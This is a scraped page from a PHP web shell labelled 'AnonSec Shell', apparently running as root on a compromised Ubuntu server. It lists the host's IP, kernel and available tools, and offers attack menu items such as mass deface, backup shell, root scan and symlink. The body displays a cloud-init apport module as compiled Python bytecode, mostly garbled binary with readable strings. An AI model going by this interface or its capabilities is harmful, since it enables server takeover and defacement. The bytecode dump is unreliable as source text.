AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/cloudinit/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/cloudinit/__pycache__/apport.cpython-310.pyc
o

x[h0!�@s"dZddlZddlZddlZddlmZddlmZmZddl	m
Z
zddlmZm
Z
mZmZdZWney=dZYnwgd	�Zd#d
d�Zd$dd
�Zd#dd�Zd$dd�Zd$defdd�Zdd�Zdd�Zdeeeffdd�Zdeeeffdd�Zeed�Zdeddfdd �Zd%d!d"�Z dS)&zCloud-init apport interface�N)�Dict)�INSTALLER_APPORT_FILES� INSTALLER_APPORT_SENSITIVE_FILES)�is_cloud_init_enabled)�attach_file�attach_file_if_exists�attach_root_command_outputs�root_command_outputTF)&�AliYun�AltCloud�AkamaizAmazon - Ec2�Azure�Bigstep�	Brightbox�CloudCIX�
CloudSigma�
CloudStack�DigitalOcean�E24CloudzGCE - Google Compute EnginezHuawei Cloud�Exoscalez
Hetzner Cloud�NWCSz IBM - (aka SoftLayer or BlueMix)�LXD�MAAS�NoCloud�
OpenNebula�	OpenStack�Oracle�OVFz'RbxCloud - (HyperOne, Rootbox, Rubikon)�OpenTelekomCloudzSamsung Cloud PlatformzSAP Converged Cloud�Scaleway�SmartOS�UpCloud�VMware�Vultr�ZStack�Outscale�WSL�OthercCs<t|ddi�gd�}|s|�d�t|�t|dd�dS)zBAttach cloud-init logs and tarfile from 'cloud-init collect-logs'.zcloud-init-log-warningsz-egrep -i "warn|error" /var/log/cloud-init.log)z
cloud-initzcollect-logsz-t�/tmp/cloud-init-logs.tgzz--redactr(zlogs.tgzN)r�appendr	r)�report�ui�include_sensitive�command�r.�2/usr/lib/python3/dist-packages/cloudinit/apport.py�attach_cloud_init_logsIs��
r0cCs,d}|r|�|�rt|ddi�dSdSdS)z*Optionally attach hardware info from lshw.z�Your device details (lshw) may be useful to developers when addressing this bug, but gathering it requires admin privileges. Would you like to include this info?zlshw.txt�lshwN)�yesnor)r*r+�promptr.r.r/�
attach_hwinfo_s
��r4cCsXtD]}tj�|j�}t|||j�q|r(tD]}tj�|j�}t|||j�qdSdS)a Attach any subiquity installer logs config.

    To support decoupling apport integration from installer config/logs,
    we eventually want to either source this function or APPORT_FILES
    attribute from subiquity  and/or ubuntu-desktop-installer package-hooks
    python modules.
    N)r�os�path�realpathr�labelr)r*r+r,�apport_filer7r.r.r/�attach_installer_filesjs�r:cCs^tj�d�}t||�tj�|�r-|�dd�|dr#|dd7<|dd7<dSdS)z<Attach ubuntu pro logs and tag if keys present in user-data.z/var/log/ubuntu-advantage.log�Tags�� z
ubuntu-proN)r5r6r7r�exists�
setdefault)r*r+r7r.r.r/�attach_ubuntu_pro_info{s
�r@�returncCs&|sdSd}|�|�}|durt�|S)z(Optionally provide user-data if desired.FaQYour user data, cloud-config, network config, or autoinstall files can optionally be provided and could be useful to developers when addressing this bug. However, this data should not be included if it contains any sensitive data such as passwords and secrets. Gathering it requires admin privileges. Would you like to include this info?N)r2�
StopIteration)r*r+r3�responser.r.r/�can_attach_sensitive�s�
rDcCs�g}|�d�r|�d�|�d�r|�d�d|��vr)|d}d|vr)|�d�|�d�r3|�d	�|rT|�d
d�|d
rG|d
d7<|d
d�|�7<d
Sd
S)z$Add any appropriate tags to the bug.�CurtinError�curtin�SubiquityLog�	subiquity�
JournalErrorszBreaking ordering cyclezsystemd-ordering�UdiLogzubuntu-desktop-installerr;r<r=N)�getr)�keysr?�join)r*�new_tags�errorsr.r.r/�add_bug_tags�s"






�rPcCsNtstd��t||�}t|||�t||�t|||�t||�t|�dS)a-This is an entry point to run cloud-init's package-specific hook

    Distros which want apport support will have a cloud-init package-hook at
    /usr/share/apport/package-hooks/cloud-init.py which defines an add_info
    function and returns the result of cloudinit.apport.add_info(report, ui).
    z;No apport imports discovered. Apport functionality disabledT)�
has_apport�RuntimeErrorrDr0r4r:r@rP)r*r+r,r.r.r/�add_info�s�


rScCsX|�di��di��d�}|siSdddddd	�}i}|��D]
\}}||||<q|S)
N�	meta_data�imds�compute�ImagePublisher�
ImageOffer�ImageSKU�ImageVersion�VMSize)�	publisher�offer�sku�version�vmSize�rK�items)�ds_datarV�name_to_report_map�
azure_data�src_key�report_key_namer.r.r/�_get_azure_data�s�rhcs@|�di��di��d�}|siShd���fdd�|��D�S)N�dynamiczinstance-identity�document>�region�imageId�architecture�instanceType�billingProductscsi|]\}}|�vr||�qSr.r.)�.0�key�value��wanted_keysr.r/�
<dictcomp>�sz!_get_ec2_data.<locals>.<dictcomp>ra)rcrjr.rsr/�
_get_ec2_data�s�
�rv)�azure�ec2�platformcCsJt�|�}|s	dS||�}|��D]\}}|sq|||��|��<qdS)z�Add datasoure specific information from the ds dictionary.

    ds_data contains the "ds" entry from data from
    /run/cloud/instance-data.json.
    N)�PLATFORM_SPECIFIC_INFOrKrb�
capitalize)r*ryrc�
platform_info�retrieved_datarqrrr.r.r/�add_datasource_specific_info�s
�r~cCs�z"t�sWdStdd��
}t�|�}Wd�n1swYWnty3t���d�YdSw|�d�}|sIt���dt	|�
���dSddd	d
ddd
���D]\}}|�|�}|rc|||<qTt||d|�d��dS)z�Entry point for Apport.

    This hook runs for every apport report

    Add a subset of non-sensitive cloud-init data from
    /run/cloud/instance-data.json that will be helpful for debugging.
    Nz"/run/cloud-init/instance-data.json�rzKcloud-init run data not found on system. Unable to add cloud-specific data.�v1z8instance-data.json lacks 'v1' metadata. Present keys: %s�CloudID�	CloudName�CloudArchitecture�
CloudPlatform�CloudRegion�CloudSubPlatform)�cloud_id�
cloud_name�machineryrk�subplatformry�ds)
r�open�json�load�FileNotFoundError�logging�	getLogger�warningrK�sortedrLrbr~)r*�_�fopen�
instance_datar�rq�
report_keyrrr.r.r/�general_add_info�sH����

��
�
��r�)NF)N)rAN)!�__doc__r�r�r5�typingr�cloudinit.cmd.devel.logsrr�cloudinit.cmd.statusr�apport.hookutilsrrrr	rQ�ImportError�KNOWN_CLOUD_NAMESr0r4r:r@�boolrDrPrS�strrhrvrzr~r�r.r.r.r/�<module>s4�
*





Anon7 - 2022
AnonSec Team